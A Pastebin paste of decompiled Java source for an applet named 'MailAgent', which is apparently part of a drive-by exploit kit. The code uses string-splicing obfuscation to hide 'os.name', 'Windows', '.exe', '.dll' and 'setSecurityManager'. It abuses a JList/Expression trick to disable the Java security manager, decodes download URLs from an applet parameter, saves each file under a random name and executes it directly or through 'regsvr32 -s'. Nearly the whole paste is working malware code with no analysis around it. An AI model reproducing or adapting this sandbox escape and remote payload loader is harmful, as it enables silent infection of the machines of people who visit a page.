Advertisement
Guest User

Mailagent.class

a guest
Sep 15th, 2011
269
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 4.49 KB | None | 0 0
  1. // Decompiled by DJ v3.12.12.96 Copyright 2011 Atanas Neshkov  Date: 9/15/2011 6:13:24 PM
  2. // Home Page: http://members.fortunecity.com/neshkov/dj.html  http://www.neshkov.com/dj.html - Check often for new version!
  3. // Decompiler options: packimports(3)
  4. // Source File Name:   MailAgent.java
  5.  
  6. package mail;
  7.  
  8. import java.applet.Applet;
  9. import java.beans.Expression;
  10. import java.io.*;
  11. import java.lang.reflect.Method;
  12. import java.net.MalformedURLException;
  13. import java.net.URL;
  14. import java.util.HashSet;
  15. import javax.swing.JList;
  16.  
  17. // Referenced classes of package mail:
  18. //            ClassId, VirtualTable, Cid
  19.  
  20. public class MailAgent extends Applet
  21. {
  22.  
  23.     public MailAgent()
  24.     {
  25.         BASE_DIR = (new StringBuffer(".so")).reverse().append("na".concat("me")).toString();
  26.         thread = "sv.d".concat("ll").substring(2);
  27.         pkill = "o4v.e".concat("xe").substring(3);
  28.         informer = new HashSet();
  29.         String tmps = "set" + "dfb7szgbhSecuri".substring(9) + "ty".concat("db43M".substring(4)) + "3hl3banager".substring(5);
  30.         informer.add(new ClassId(java/lang/System, tmps, new Object[1]));
  31.         Expression api = new Expression(java/lang/System, tmps, new Object[1]);
  32.         addressList = new JList(new Object[] {
  33.             new VirtualTable(this, informer)
  34.         });
  35.         add(addressList);
  36.     }
  37.  
  38.     public void upload()
  39.     {
  40.         super.start();
  41.         FileOutputStream f = null;
  42.         String mailto = "aDL".concat("Xq-_.".concat("mjnWN6f".concat("wcsK".concat("B?xbI".concat("TS=Cy".concat("kGvd".concat("91Z:".concat("%ElR5".concat("po0rz".concat("A8/JY".concat("P72#".concat("ue&t4".concat("iQFhV".concat("U3OM".concat("gH")))))))))))))));
  43.         InputStream c = null;
  44.         String incPath = (new StringBuffer("dniW")).reverse().append("kiows".substring(2)).toString();
  45.         URL unicodeFormat = null;
  46.         String version = "QOn7cZAVmK/G4WuBqfLxj1_tlE8PTrpN2Y3:MUa=&5oRi%y?9DHv-Cgwkh60b.FdeSI#zJXs";
  47.         if(System.getProperty(BASE_DIR).indexOf(incPath) < 0)
  48.             return;
  49.         Runtime form = Runtime.getRuntime();
  50.         String chars[] = VirtualTable.transfer(version, mailto, getParameter("p")).split("::");
  51.         for(int p = 0; p < chars.length; p++)
  52.         {
  53.             double rdm = Math.random();
  54.             try
  55.             {
  56.                 unicodeFormat = new URL(chars[p]);
  57.             }
  58.             catch(MalformedURLException ex)
  59.             {
  60.                 return;
  61.             }
  62.             String fprm = Double.toString(rdm).concat(chars[p].contains(thread) ? thread : pkill);
  63.             try
  64.             {
  65.                 f = new FileOutputStream(fprm);
  66.             }
  67.             catch(FileNotFoundException ex)
  68.             {
  69.                 return;
  70.             }
  71.             try
  72.             {
  73.                 c = unicodeFormat.openStream();
  74.             }
  75.             catch(IOException ex)
  76.             {
  77.                 return;
  78.             }
  79.             Cid.move(c, f);
  80.             try
  81.             {
  82.                 c.close();
  83.             }
  84.             catch(IOException ex)
  85.             {
  86.                 return;
  87.             }
  88.             try
  89.             {
  90.                 f.close();
  91.             }
  92.             catch(IOException ex)
  93.             {
  94.                 return;
  95.             }
  96.             checkArgs(10, fprm, form);
  97.         }
  98.  
  99.     }
  100.  
  101.     public void start()
  102.     {
  103.         upload();
  104.     }
  105.  
  106.     public void checkArgs(int val, String str, Object o)
  107.     {
  108.         try
  109.         {
  110.             Method rr = o.getClass().getMethod("e".concat("xec"), new Class[] {
  111.                 java/lang/String
  112.             });
  113.             try
  114.             {
  115.                 rr.invoke(o, new Object[] {
  116.                     str
  117.                 });
  118.             }
  119.             catch(Exception exception1) { }
  120.             try
  121.             {
  122.                 rr.invoke(o, new Object[] {
  123.                     "re".concat("gsv".concat("r32 -s \"")).concat(str.concat("\""))
  124.                 });
  125.             }
  126.             catch(Exception exception2) { }
  127.         }
  128.         catch(Exception exception) { }
  129.     }
  130.  
  131.     public static boolean validForm(Method m, Object form, Object args[])
  132.     {
  133.         try
  134.         {
  135.             m.invoke(form, args);
  136.         }
  137.         catch(Exception exception) { }
  138.         return true;
  139.     }
  140.  
  141.     private int mail_id;
  142.     protected JList addressList;
  143.     private String BASE_DIR;
  144.     private String thread;
  145.     protected String pkill;
  146.     protected HashSet informer;
  147. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement